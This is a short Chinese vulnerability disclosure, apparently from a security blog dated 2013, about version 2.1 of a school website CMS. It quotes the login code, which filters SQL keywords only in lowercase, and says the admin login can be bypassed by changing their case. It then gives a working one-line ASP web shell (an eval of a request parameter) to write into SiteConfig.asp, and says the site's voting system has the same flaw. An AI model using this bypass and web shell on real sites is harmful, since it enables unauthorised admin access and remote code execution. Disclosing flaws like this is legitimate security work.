校无忧学校网站系统 V 2.1后台登陆验证可大小写绕过

浏览： ℃

字体：大中小

发布时间：2013-12-09 23:24:16

来源：

以校无忧学校网站系统 V 2.1 为例到 admin/check.asp 文件看了下。。

if request("action")="login" then   Username=trim(request("admin_name"))   Password=trim(request("admin_pass"))end ifIf Instr(Username,"or")<>0 or Instr(Password,"or")<>0 or Instr(Username,"and")<>0 or Instr(Password,"and")<>0Then   response.write "<br><br><br><br><font size=2><center>没事别搞人家后台，谢谢！<br>否则一切后果自负！<br>校无忧-Www.Xiao5u.Com</font>"else

这尼玛在逗我。。？

大小写绕过，

拿shell：

/SiteConfig.asp 处

"%><%eval(request("r"))%>

写入一句话。

他的评选投票系统也是如此

修复：严格过滤

>更多相关文章